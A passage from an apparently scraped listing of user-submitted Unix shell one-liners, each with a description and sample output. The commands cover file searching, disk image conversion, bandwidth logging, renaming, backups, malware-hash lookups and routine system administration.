677961728 2001-10-03 19:22 ./rh72/enigma-i386-disc1.iso -rw-r--r-- 1 fsilveira fsilveira 680282112 2001-10-03 19:27 ./rh72/enigma-SRPMS-disc1.iso Functions: cut find ls sort tr xargs find the biggest files recursively, no matter how many This command will find the biggest files recursively under a certain directory, no matter if they are too many. If you try the regular commands ("find -type f -exec ls -laSr {} +" or "find -type f -print0 | xargs -0 ls -laSr") the sorting won't be correct because of command line arguments limit. This command won't use command line arguments to sort the files and will display the sorted list correctly. blockdev --rereadpt /dev/sda Re-read partition table on specified device without rebooting system (here /dev/sda). ‹ First < 28 29 30 31 32 > Last › VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw VirtualBox Command Line Management Interface Version 2.2.4 (C) 2005-2009 Sun Microsystems, Inc. All rights reserved. Converting image "winxp.vdi" with size 32212254720 bytes (30720MB) to raw... (VMDK) image open: flags=0x2 filename=winxp.vmdk convert vdi to vmdk (virtualbox hard disk conversion to vmware hard disk format) Converts a .vdi file to a .vmdk file for use in a vmware virtual machine. The benefit: using this method actually works. There are others out there that claim to give you a working .vmdk by simply using the qemu-img command alone. Doing that only results in pain for you because the .vmdk file will be created with no errors, but it won't boot either. Be advised that these conversions are very disk-intensive by nature; you are probably dealing with disk images several gigabytes in size. Once finished, the process of using the new .vmdk file is left as an exercise to the reader. ls -l /etc/**/*killall [root@localhost ~]# ls -l /etc/**/*killall -rwxr-xr-x. 1 root root 652 Apr 19 15:47 /etc/init.d/killall lrwxrwxrwx. 1 root root 17 May 31 06:00 /etc/rc0.d/S00killall -> ../init.d/killall lrwxrwxrwx. 1 root root 17 May 31 06:00 /etc/rc6.d/S00killall -> ../init.d/killall find builtin in bash v4+ This command will give you the same list of files as "find /etc/ -name '*killall' | xargs ls -l". In a simpler format just do 'ls /etc/**/file'. It uses shell globbing, so it will also work with other commands, like "cp /etc/**/sshd sshd_backup". rename 's/\d+/sprintf("%04d",$&)/e' *.jpg Numeric zero padding file rename This uses Perl's rename utility (you may have to call it as prename on your box) and won't choke on spaces or other characters in filenames. It will also zero pad a number even in filenames like "vacation-4.jpg". while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done Functions: awk cut echo grep ifconfig sleep Measures download speed on eth0 mencoder -forceidx -ovc copy -oac copy -o output.avi video1.avi video2.avi MEncoder 2:1.0~rc2-0ubuntu17+medibuntu1 (C) 2000-2007 MPlayer Team CPU: Intel(R) Pentium(R) 4 CPU 3.20GHz (Family: 15, Model: 4, Stepping: 3) CPUflags: Type: 15 MMX: 1 MMX2: 1 3DNow: 0 3DNow2: 0 SSE: 1 SSE2: 1 Compiled with runtime CPU detection. success: format: 0 data: 0x0 - 0x2bbb8000 AVI file format detected. [aviheader] Video stream found, -vid 0 [aviheader] Audio stream found, -aid 1 Generating Index: 43% Concatenate (join) video files Use mencoder to concatenate (join) multiple video files together. fold -s <filename> Wrap text files on the command-line for easy reading fold wraps text at 80 characters wide, and with the -s flag, only causes wrapping to occur between words rather than through them. cat /etc/*-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=7.10 DISTRIB_CODENAME=gutsy DISTRIB_DESCRIPTION="Ubuntu 7.10" [OR] CentOS release 5.2 (Final) Find distro name and/or version/release Works for most distributions, tested on Ubuntu, Fedora, CentOS, Gentoo, SUSE, RedHat. cat /etc/*version pkill -KILL -u username all out How to force a userid to log out of a Linux host, by killing all processes owned by the user, including login shells: setterm -powersave off -blank 0 Functions: setterm bash screensaver off (IFS=:;for p in $PATH; do test -d $p || echo $p; done) Functions: echo test Show Directories in the PATH Which does NOT Exist I often need to know of my directory in the PATH, which one DOES NOT exist. This command answers that question * This command uses only bash's built-in commands * The parentheses spawn a new sub shell to prevent the modification of the IFS (input field separator) variable in the current shell echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done & Functions: date echo sleep Log your internet download speed This will log your internet download speed. You can run gnuplot -persist <(echo "plot 'bps' with lines") to get a graph of it. awk '{ $5=""; print }' file exclude a column with awk Here's an awk alternative, for those lacking the version of cut with the --complement argument. lower() { echo ${@,,}; } $ lower HELLO WORLD hello world Convert text to lowercase Usage: lower [STRING]... openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/.$//' Generate a Random MAC address Use the following variation for FreeBSD: openssl rand 6 | xxd -p | sed 's/\(..\)/\1:/g; s/:$//' pgrep command_name 4234 Get the PID of a process by name Ctrl-R <search-text> ssmith:~$ <Ctrl-r>rsy (reverse-i-search)`rsy': rsync -Pazv .wine filehost: <return> ssmith:~$ rsync -Pazv .wine filehost: .... Search back through previous commands Searches backwards through your command-history for the typed text. Repeatedly hitting Ctrl-R will search progressively further. Return invokes the command. lsof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if(s>0) print (s)" MB -- "$9 | "sort -rn" }' 41 MB -- /home/tzk/.mozilla/firefox/default/urlclassifier3.sqlite 6 MB -- /home/tzk/.mozilla/firefox/default/places.sqlite 3 MB -- /home/tzk/.mozilla/firefox/default/XPC.mfasl 2 MB -- /home/tzk/.mozilla/firefox/default/extensions/writearea@writearea.com/chrome/writearea.jar 2 MB -- /home/tzk/.mozilla/firefox/default/extensions/{4BBDD651-70CF-4821-84F8-2B918CF89CA3}-trash/chrome/febe.jar Functions: awk pidof Check which files are opened by Firefox then sort by largest size. Just refining last proposal for this check, showing awk power to make more complex math (instead /1024/1024, 2^20). We don't need declare variable before run lsof, because $(command) returns his output. Also, awk can perform filtering by regexp instead to call grep. I changed the 0.0000xxxx messy output, with a more readable form purging all fractional numbers and files less than 1 MB. > file Create a new file curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin Amazing real time picture of the sun in your wallpaper Changes the wallpaper for the last IR picture of the sun taken by SOHO satellite. Lesser size, try curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fullscreen -xzoom 120 -yzoom 120 -border black stdin I use inside kalarm(kde), updating every 15 minutes needs xli , curl sed -e '/\\$/{:0;N;s/\\\n//;t0}' $ sed -e '/\\$/{:0;N;s/\\\n//;t0}' <<END > Hello \\ > world! > END Hello world! $ echo 'scale=70; 127/131' | bc | sed -e '/\\$/{:0;N;s/\\\n//;t0}' .9694656488549618320610687022900763358778625954198473282442748091603053 Join lines split with backslash at the end Joins each line that end with backslash (common way to mark line continuation in many languages) with the following one while removing the backslash. alias screensaver='for ((;;)); do echo -ne "\033[$((1+RANDOM%LINES));$((1+RANDOM%COLUMNS))H\033[$((RANDOM%2));3$((RANDOM%8))m$((RANDOM%10))"; sleep 0.1 ; done' Functions: alias echo sleep Screensaver Console screensaver. ls -lct /etc | tail -1 | awk '{print $6, $7}' $ ls -lct /etc | tail -1 | awk '{print $6, $7}' 2009-08-25 13:25 Functions: awk ls tail When was your OS installed? Show time and date when you installed your OS. sort -g list.txt -o $_ Ape apple Apple Banana Harold Kumar Digby harry Tape 001 01 sort the contents of a text file in place. sorts the contents of a file without the need for a second file to take the sorted output. md5sum <<<"test" Functions: md5sum Generate MD5 hash for a string sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e Functions: echo sed xargs urldecoding echo "http%3A%2F%2Fwww.google.com" | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e http://www.google.com Works under bash on linux. just alter the '-e' option to its corresponding equivalence in your system to execute escape characters correctly. ‹ First < 29 30 31 32 33 > Last › read day month year < <(date +'%d %m %y') No command substitution but subshell redirection netstat -plunt james@thumpie:~/Work$ sudo netstat -plunt Password or swipe finger: Show which programs are listening on TCP and UDP ports -p Tell me the name of the program and it's PID -l that is listening -u on a UDP port. -n Give me numeric IP addresses (don't resolve them) -t oh, also TCP ports screen /dev/tty<device> 9600 $ screen /dev/ttyUSB0 9600 *** Welcome to pfSense 2.0-BETA3-nanobsd (i386) on pfsense *** WAN (wan) -> xl1 -> x.x.x.x (DHCP) LAN (lan) -> xl0 -> 192.168.x.1 PUBLICWIFI (opt1) -> xl0_vlan2 -> 192.168.x3.1 PRIVATEWIFI (opt2) -> xl0_vlan1 -> 192.168.x2.1 pfSense console setup *************************** 0) Logout (SSH only) 1) Assign Interfaces 2) Set interface(s) IP address 3) Reset webConfigurator password 4) Reset to factory defaults 5) Reboot system 6) Halt system 7) Ping host 8) Shell 9) PFtop 10) Filter Logs 11) Restart webConfigurator 12) pfSense Developer Shell 13) Upgrade from console 14) Disable Secure Shell (sshd) Enter an option: use screen as a terminal emulator to connect to serial consoles Use GNU/screen as a terminal emulator for anything serial console related. screen /dev/tty screen /dev/ttyS0 9600 MacOSX: http://www.macosxhints.com/article.php?story=20061109133825654 Cheat Sheet: http://www.catonmat.net/blog/screen-terminal-emulator-cheat-sheet/ xargs -n 2 mv < file_with_colums_of_names Functions: mv xargs rename files according to file with colums of corresponding names Maybe simpler, but again, don't know how it will work with space in filename. alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-client --no-start' Functions: alias env Remote control for Rhythmbox on an Ubuntu Media PC Note: you'll want to set up pub-key ssh auth. Gives you a quick means of changing volume/tracks/etc for rhythmbox on a remote machine. E.g.: rc --next # Play next track rc --print-playing # Grab the name rc --volume-down rc --help while ( nc -l 80 < /file.htm > : ) ; do : ; done & [$$] # Number of PID Allow to launch nc like a daemon, in background until you still stop it. You can stop it with kill %1 (jobs method) or kill PID. The -k option can force nc to listen another connection, but if you use redirection, it will work only one time. The loop's inside doesn't do anything, but we can imagine to send a message to screen when a connection is established sed '/^#.*DEBUG.*/ s/^#//' $FILE uncomment the lines where the word DEBUG is found echo ${fullpath##*/} where fullpath="./path/to/filename.txt" echo ${fullpath##*/} returns "filename.txt" Isolate file name from full path/find output Quick method of isolating filenames from a full path using expansion. Much quicker than using "basename" MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; echo -e "\n\nBOOOM! Time to start." 60, 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, BOOOM! Time to start. Simple countdown clock that should be quite portable across any Bourne-compatible shell. I used to teach for a living, and I would run this code when it was time for a break. Usually, I would set "MIN" to 15 for a 15-minute break. The computer would be connected to a projector, so this would be projected on screen, front and center, for all to see. alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'" 8 Rot13 using the tr command rot13 maps a..mn..z (A..MN..Z) to n..za..m (n..za..m) and so does this alias. sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g" Remove color codes (special characters) with sed urls=('www.ubuntu.com' 'google.com'); for i in ${urls[@]}; do http_code=$(curl -I -s $i -w %{http_code}); echo $i status: ${http_code:9:3}; done Check availability of Websites based on HTTP_CODE script /tmp/log.txt Bash logger convmv -r -f ISO-8859-1 -t UTF-8 --notest * Convert filenames from ISO-8859-1 to UTF-8 Nothing advanced, it just finds filenames that are stored with ISO-8859-1 characters and and converts those into UTF-8. Recommended to use without the --notest flag first so you can see what will be changed. rsync -rv <src> <dst> --progress copy with progress bar - rsync -r for recursive (if you want to copy entire directories) src for the source file (or wildcards) dst for the destination --progress to show a progress bar :w !diff -u % - diff current vi buffer edits against original file find <directory path> -mtime +365 -and -not -type d -delete List and delete files older than one year <Alt-Shift-#> comment current line(put # at the beginning) IFS=$'\n' && for f in `find . -type f -exec md5sum "{}" \;`; do echo $f | sed -r 's/^[^ ]+/Checking:/'; echo $f | cut -f1 -d' ' | netcat hash.cymru.com 43 ; done Checking: ./yffix3Qs.zip d95a72eb35820cc1dc3d750b53090b78 1318649640 NO_DATA Checking: ./B_Malware_210911/soft.exe 52ca815d29da154fc1dff687505feab3 1318649641 NO_DATA Checking: ./B_Malware_210911/sistem_nod.exe 6325547dd016d2e47e258396dc695ed7 1316696641 18 Checking: ./B_Malware_210911/yabotovrot.exe 33b76caf40a7ac013fded283b0f87c1e 1317442076 39 Checking: ./cat 332fc925297433af694c835afb8609f7 1318649646 NO_DATA Checking: ./alot_symbolleiste_lexika_installer.exe 7cf02c378e195a85f586bbb83f7f4660 1318649647 NO_DATA Functions: cut echo md5sum sed Find Malware in the current and sub directories by MD5 hashes Command makes use of the Malware Hash Registry (http://www.team-cymru.org/Services/MHR/). It parses the current directory and subdirectories and calculates the md5 hash of the files, then prints the name and sends the hash to the MHR for a lookup in their database. The 3rd value in the result is the detection percentage across a mix of AV packages. while true; do cat /proc/net/dev; sleep 1; done | awk -v dc="date \"+%T\"" '/eth0/{i = $2 - oi; o = $10 - oo; oi = $2; oo = $10; dc|getline d; close(dc); if (a++) printf "%s %8.2f KiB/s in %8.2f KiB/s out\n", d, i/1024, o/1024}' 02:18:43 1.71 KiB/s in 0.11 KiB/s out 02:18:44 0.75 KiB/s in 0.25 KiB/s out 02:18:45 0.47 KiB/s in 0.20 KiB/s out 02:18:46 0.59 KiB/s in 0.15 KiB/s out 02:18:47 1.12 KiB/s in 1.37 KiB/s out 02:18:48 0.65 KiB/s in 0.21 KiB/s out 02:18:49 0.50 KiB/s in 0.31 KiB/s out 02:18:50 1.28 KiB/s in 0.37 KiB/s out 02:18:51 0.50 KiB/s in 0.05 KiB/s out 02:18:52 2.26 KiB/s in 0.10 KiB/s out Functions: awk cat printf sleep Show bandwidth use oneliner poorman's ifstat using just sh and awk. You must change "eth0" with your interface's name. perl -e 'print 1, 2, 3' > /dev/full # nothing (no indication of error) $ python -c 'print 1, 2, 3' > /dev/full close failed: [Errno 28] No space left on device Use /dev/full to test language I/O-failsafety The Linux /dev/full file simulates a "disk full" condition, and can be used to verify how a program handles this situation. In particular, several programming language implementations do not print error diagnostics (nor exit with error status) when I/O errors like this occur, unless the programmer has taken additional steps. That is, simple code in these languages does not fail safely. In addition to Perl, C, C++, Tcl, and Lua (for some functions) also appear not to fail safely. du -sk * |sort -rn |head ssh user@host "cat /path/to/backup/backupfile.tar.bz2" |tar jpxf - Recover remote tar backup with ssh Here how to recover the remote backup over ssh find . -maxdepth 1 -type d | sort read -ra words <<< "<sentence>" && echo "${words[@]^}" read -ra words <<< "one two three" && echo "${words[@]^}" One Two Three Capitalize first letter of each word in a string I find it useless but definitely simpler than #9230 ‹ First < 30 31 32 33 34 > Last › curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R [ { }, } ] Functions: less python JSON processing with Python Validates and pretty-prints the content fetched from the URL. echo $(shuf -i 1-49 | head -n6 | sort -n) Functions: echo head sort lotto generator nc -l -p 2000 < song.mp3 The client must write: $ nc server.example.org 2000 | madplay - mp3 streaming import -pause 5 -window root desktop_screenshot.jpg Quick screenshot Requires ImageMagick. Takes a screenshot 5 seconds after it's run and saves it as desktop_screenshot.jpg Particularly handy when made into a menu option or button. python -c 'print "-"*50' Print a row of 50 hyphens essentially the ruby one, but perhaps has a larger installed base :n,m w newfile.txt New files from parts of current buffer On command mode in Vim you can save parts of the current buffer in another file. * The 'n' value represents the first line of the new file. * The 'm' value represents the last line of the new file. * newfile.txt is the newfile. The results are similar to this command in perl: perl -ne 'print if n..m' in.sql > out.sql awk -F "=| " Functions: awk cat file awk using multiple field separators You can use multiple field separators by separating them with | (=or). This may be helpful when you want to split a string by two separators for example. #echo "one=two three" | awk -F "=| " {'print $1, $3'} one three pwgen --alt-phonics --capitalize 9 10 $ pwgen --alt-phonics --capitalize 9 10 ju7wuQu0w tahPh2hee Ooth7ag1O ieF8thai9 aeNg6thai rahLoy8ah ixeiz6Eiy OhN8Pheiz IeHe3goi5 eeZ6ied7m Password Generation Produces secure passwords that satisfy most rules for secure passwords and can be customized for correct output as needed. See "man pwgen" for details. iptables -A INPUT -s 222.35.138.25/32 -j DROP Functions: iptables Block an IP address from connecting to a server This appends (-A) a new rule to the INPUT chain, which specifies to drop all packets from a source (-s) IP address. scp user@hostb:file user@hostc: scp file from hostb to hostc while logged into hosta While at the command line of of hosta, scp a file from remote hostb to remote hostc. This saves the step of logging into hostb and then issuing the scp command to hostc. dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile; swapon /swapfile Functions: chmod dd mkswap swapon Add temporary swap space In addition to a swap partition, Linux can also use a swap file. Some programs, like g++, can use huge amounts of virtual memory, requiring the temporary creation of extra space. ls | while read ITEM; do echo "$ITEM"; done file file 2 Functions: echo ls read loop over a set of items that contain spaces If you want to operate on a set of items in Bash, and at least one of them contains spaces, the `for` loop isn't going to work the way you might expect. For example, if the current dir has two files, named "file" and "file 2", this would loop 3 times (once each for "file", "file", and "2"): for ITEM in `ls`; do echo "$ITEM"; done Instead, use a while loop with `read`: gunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less Functions: awk cat grep gunzip sort uniq Quickly find a count of how many times invalid users have attempted to access your system find . -name "*jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR" ./0520-185324.jpg Corrupt JPEG data: 132 extraneous bytes before marker 0xc0 1024 x 768 24bit Exif N 341535 Quantization table 0x00 was not defined [ERROR] Find corrupted jpeg image files Finds all corrupted jpeg files in current directory and its subdirectories. Displays the error or warning found. The jpeginfo is part of the jpeginfo package in debian. Should you wish to only get corrupted filenames, use cut to extract them : find ./ -name *jpg -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR" | cut -d " " -f 1 echo "SELECT * FROM table; " | mysql -u root -p${MYSQLROOTPW} databasename | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > outfile.csv no output Functions: echo sed Export MySQL query as .csv file This command converts a MySQL query directly into a .csv (Comma Seperated Value)-file. tar -xaf archive.tar.gz --strip-components=1 Extract tar content without leading parent directory If archive has leading directory level same as archive name and you want to strip it, this command is for you. encfs ~/.crypt ~/crypt Create/open/use encrypted directory Create/open/use an encrypted directory encfs needs to be installed The encrypted files will be in ~/.crypt and you will work as usual in ~/crypt To close the encrypted directory run: fusermount -u ~/crypt When you switch off the computer the encrypted directory will be automatically closed This example uses /home/user/crypt as encrypted directory I use ubuntu linux 8.04 and I am also the creator of www.minihowto.org read -a ARR <<<'world domination now!'; echo ${ARR[2]}; read -a ARR <<<'world domination now!'; echo ${ARR[2]}; now! IFS=":" read -a ARR <<<"$PATH"; echo ${ARR[2]}; Function to split a string into an array export IFS=$(echo -e "\n") $ cat file line one line two $ for i in `cat file`; do echo $i; done line one two $ export IFS=$(echo -e "\n") Functions: echo export IFS - use entire lines in your for cycles When you use a "for" construct, it cycles on every word. If you want to cycle on a line-by-line basis (and, well, you can't use xargs -n1 :D), you can set the IFS variable to . dpkg-repack firefox put an unpacked .deb package back together If any changes have been made to the package while it was unpacked (ie, conffiles files in /etc modi‐fied), the new package will inherit the changes. This way you can make it easy to copy packages from one computer to another, or to recreate packages that are installed on your system, but no longer available elsewhere. Note: dpkg-repack will place the created package in the current directory. command > >(tee stdout.log) 2> >(tee stderr.log >&2) Functions: command tee log a command to console and to 2 files separately stdout and stderr jhead -autorot *.jpg Rotate a set of photos matching their EXIF data. You need jhead package. export HISTTIMEFORMAT="%h/%d-%H:%M:%S " tux@gnu:~$ history 187 Sep/21-20:41:50 ss -p | grep STA 188 Sep/21-20:42:44 lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +1 189 Sep/21-20:43:33 lsb_release -a 190 Sep/21-20:43:40 mkdir backup 191 Sep/21-20:43:59 seq -s " " -w 3 20 192 Sep/26-00:30:59 cat .bashrc | less 193 Sep/26-00:34:01 history save date and time for each command in history for the change stay in your history file , export command by writing it into your .bashrc awk '(length > n) {n = length} END {print n}' output length of longest line If your wc does not have the -L option, you can use awk. xterm -display :12.0 -e ssh -X user@server & run remote linux desktop First of all you need to run this command. X :12.0 vt12 2>&1 >/dev/null & This command will open a X session on 12th console. And it will show you blank screen. Now press Alt + Ctrl + F7. You will get your original screen. Now run given command "xterm -display :12.0 -e ssh -X user@remotesystem &". After this press Alt + Ctrl + F12. You will get a screen which will ask you for password for remote linux system. And after it you are done. You can open any window based application of remote system on your desktop. Press Alt + Ctrl + F7 for getting original screen. ‹ First < 31 32 33 34 35 > Last › <ctrl+j>stty sane<ctrl+j> This is more or less the same as 'reset', but with two advantages: the initial LF character makes sure you're starting a new line to the tty driver, the final one is more reliably a line-end as CR is often unset; and second, 'stty sane' is reliable on older UNIX systems, especially Berkeley-based ones. xdg-open http://gmail.com Use xdg-open to avoid hard coding browser commands I rarely use the system menu to start applications. I use keyboard shortcuts instead. Keyboard shortcuts are convenient time savers. To configure the shortcuts I use gconf-editor or CompizConfig Settings Manager (if I have Compiz turned on). Lately I've been using Chromium as my browser. Since Chromium is under heavy development it occasionally becomes unusable and I have to switch back to Firefox. I was hard-coding the browser command in my keyboard shortcuts. This became problematic with frequent browser hopping. I now use the xdg-open command when defining my keyboard shortcuts. xdg-open opens a file or URL in the user's preferred application. In the metacity keybinging_commands I have xdg-open http://gmail.com where I used to have firefox http://gmail.com. Now when switching browsers I don't have to update each keyboard binding command I just change my default browser in Ubuntu by clicking through the menu: System / Preferences / Preferred Applications / Web Browser. xdg-open is more convenient for this browser hopper. gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf Optimize PDF documents iconv -f437 -tutf8 asciiart.nfo Functions: iconv Outputs files with ascii art in the intended form. Files containing ascii art (e.g. with .nfo extension) are typically not correctly reproduced at the command line when using cat. With iconv one can easily write a wrapper to solve this: #!/bin/bash if [ -z "$@" ]; then echo "Usage: $(basename $0) file [file] ..." else iconv -f437 -tutf8 "$@"; fi exit 0 ssh root@`for ((i=100; i<=110; i++));do arp -a 192.168.1.$i; done | grep 00:35:cf:56:b2:2g | awk '{print $2}' | sed -e 's/(//' -e 's/)//'` ssh: connect to host 192.168.1.103 port 22: No route to host Functions: arp awk grep sed ssh connect via ssh using mac address Connect to a machine running ssh using mac address by using the "arp" command ssh-keygen -R <thehost> Remove a line from a file using sed (useful for updating known SSH server keys when they change) remove the host for the .ssh/know_host file strace -ff -e write=1,2 -s 1024 -p PID 2>&1 | grep "^ |" | cut -c11-60 | sed -e 's/ //g' | xxd -r -p Functions: cut grep sed strace similar to the previous command, but with more friendly output (tested on linux) !219 ; !229 ; !221 Execute multiple commands from history Assuming that 219,229 and 221 are entries in history, I recall them in a single line for execute multiple commands ... so the result is execution of # ifdown wlan0 ; iwconfig wlan0 mode Managed ; ifup wlan0 cd() { if [ -z "$1" ]; then command cd; else if [ -f "$1" ]; then command cd $(dirname "$1"); else command cd "$1"; fi; fi; } { /root } # tail /var/log/messages { /root } # ... # ohh, I need to watch more logfiles { /root } # cd <alt+.> # to get last parameter { /var/log } # # Ready for action in the files folder Functions: cd command dirname Smart `cd`.. cd to the file directory if you try to cd to a file This little function will smarten 'cd'. If you try to cd into a file (which I guess we all have done), it cd's into the directory of that file instead. I had to use nesten if's, to get cd to still work with 'cd' (to get to $HOME), 'cd -' (to get to last directory), and 'cd foo\ bar'. sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.txt Functions: sed sort tr uniq Sort a one-per-line list of email address, weeding out duplicates gcc -dM -E - < /dev/null Functions: gcc zmv '(<1->).jpg' '${(l:3::0:)1}.jpg' Adding leading zeros to a filename (1.jpg -> 001.jpg) From: http://grml.org/zsh/zsh-lovers.html curl -s 'http://checkip.dyndns.org' | sed 's/.*Current IP Address: \([0-9\.]*\).*/\1/g' while [ 1 ]; do curl -s -u username:password http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' | head -n 6 |festival --tts; sleep 300;done blah blah blah blah Functions: head sleep Speak the top 6 lines of your twitter timeline every 5 minutes..... Pump up the chatter, run this script on a regular basis to listen to your twitter timeline. This is a rough first cut using several cli clips I have spotted around. There is no facility to not read those things already read to you. This could also easily be put in a loop for timed onslaught from the chatterverse, though I think it might violate several pointsof the Geneva Convention UPDATE - added a loop, only reads the first 6 twits, and does this every 5 mins. grep --include=*.py -lir "delete" . ./attachment.py ./tests/functional/testcases.py ./tests/functional/better_twill.py ./ticket/report.py ./ticket/api.py ./ticket/model.py ./ticket/roadmap.py ./ticket/admin.py ./ticket/default_workflow.py ./ticket/web_ui.py ./wiki/api.py ./wiki/model.py ./wiki/interwiki.py ./wiki/admin.py ./wiki/web_ui.py ./config.py ./mimeview/patch.py ./perm.py ./versioncontrol/web_ui/log.py ./versioncontrol/web_ui/changeset.py ./versioncontrol/svn_fs.py ./versioncontrol/api.py ./versioncontrol/svn_prop.py ./versioncontrol/cache.py ./versioncontrol/diff.py ./upgrades/db13.py ./upgrades/db12.py ./upgrades/db11.py ./upgrades/db9.py ./upgrades/db20.py ./upgrades/db23.py ./util/__init__.py ./cache.py ./web/session.py ./web/auth.py ./test.py Grep Recursively Through Single File Extension Trac 0.12.2-stable mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassword dbname | ssh -C user@sshserver 'cd /path/to/backup/dir; cat > dbname.sql' backup with mysqldump a really big mysql database to a remote machine over ssh backup big mysql db to remote machine over ssh. "--skip-opt" option is needed when you can?t allocate full database in ram. tar cf - /path/to/data | 7z a -si archivename.tar.7z Create a tar archive using 7z compression Using 7z to create archives is OK, but when you use tar, you preserve all file-specific information such as ownership, perms, etc. If that's important to you, this is a better way to do it. mailutil transfer {imap.gmail.com/ssl/user=john@gmail.com} Gmail/ Backup (archive) your Gmail IMAP folders. Copies an entire hierarchy of mailboxes from the named POP3/IMAP/etc. source to the named destination. Mailboxes are created on the destination as needed. NOTE: The 'mailutil' is Washington's University 'mailutil' (apt-get install uw-mailutils). More examples mailutil transfer {imap.gmail.com/ssl/user=you@gmail.com}INBOX Gmail/ ; mailutil check imap.gmail.com/ssl/user=you@gmail.com}\[Gmail\]/Spam If you use the utility in the first, append -v|-d flag(s) to the end the commands above (man mailutil). mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; } Easily scp a file back to the host you're connecting from Place in .bashrc and invoke like this: "mecp /path/to/file", and it will copy the specified file(s) back to the desktop of the host you're ssh'ing in from. To easily upload a file from the host you're ssh'ing in from use this: ucp (){ scp ${SSH_CLIENT%% *}:Desktop/upload/* .; } echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) & disown -h -ar $! A little bash daemon =) A little bash daemon alias vim="vim -p" Make vim open in tabs by default (save to .profile) I always add this to my .profile rc so I can do things like: "vim *.c" and the files are opened in tabs. ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)' dn: CN=Joe.Bloggs,DC=example,DC=com LDAP search to query an ActiveDirectory server These are the parameters to ldapsearch (from ldap-utils in Ubuntu), for searching for the record for Joe Blogg's user. sAMAccountName is the LDAP field that ActiveDirectory uses to store the user name. 'DOMAIN\Joe.Bloggs' where "DOMAIN" is the the active directory domain. Othewise you could use "CN=Joe.Bloggs,DC=example,DC=com" instead of "DOMAIN\Joe.Bloggs" fortune | cowsay let a cow tell you your fortune PS3="Enter a number: "; select f in *;do $EDITOR $f; break; done $ select f in *;do vim $f; break; done 1) arguments 5) getopt_homemade.sh 9) remove_from_path.sh 4) getopt_function.sh 8) parameter_expansion #? 4 Select and Edit a File in the Current Directory This command displays a simple menu of file names in the current directory. After the user made a choice, the command invokes the default editor to edit that file. * Without the break statement, the select command will loop forever * Setting the PS3 prompt is optional * If the user types an invalid choice (such as the letter q), then the variable $f will become an empty string. * For more information, look up the bash's select command exec 2>&1 Functions: exec Setting global redirection of STDERR to STDOUT in a script You have a script where =ALL= STDERR should be redirected to STDIN and you don't want to add "2>&1" at the end of each command... E.G.: ls -al /foo/bar 2>&1 Than just add this piece of code at the beginning of your script! I hope this can help someone. :) ‹ First < 32 33 34 35 36 > Last › dos2unix <filenames> Stripping ^M at end of each line for files mmv 'banana_*_*.asc' 'banana_#2_#1.asc' Smart renaming Use 'mmv' for mass renames. The globbing syntax is intuitive. xrandr --auto external projector for presentations i spent way too many hours trying to fiddle with /etc/X11/xorg.conf trying to hook up various external projectors. too bad i didn't know this would solve all my problems. for i in $(seq 1 50) ; do echo Iteration $i ; done Iteration 1 Iteration 2 Iteration 3 Iteration 4 Iteration 5 etc.. Functions: echo seq seq can produce the same thing as Perl's ... operator. Optionally, one can use {1..50} instead of seq. E.g. for i in {1..50} ; do echo Iteration $i ; done sh -c 'S=askapache R=htaccess; find . -mount -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e "s%${S}%${R}%g" FF' Cpu(s): 28.1% us, 9.5% sy, 3.0% ni, 48.6% id, 9.9% wa, 0.2% hi, 0.7% si PID NI %CPU %MEM COMMAND 20707 19 0.0 0.1 sh -c S=askapache;R=htaccess;find . -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e s%${S}%${R}% FF 20708 19 2.0 0.0 find . -type f 20709 19 2.0 0.0 xargs -P5 -iFF grep -l -m1 askapache FF 20710 19 0.5 0.0 xargs -P5 -iFF sed -i -e s%askapache%htaccess% FF 23291 19 0.0 0.0 grep -l -m1 askapache 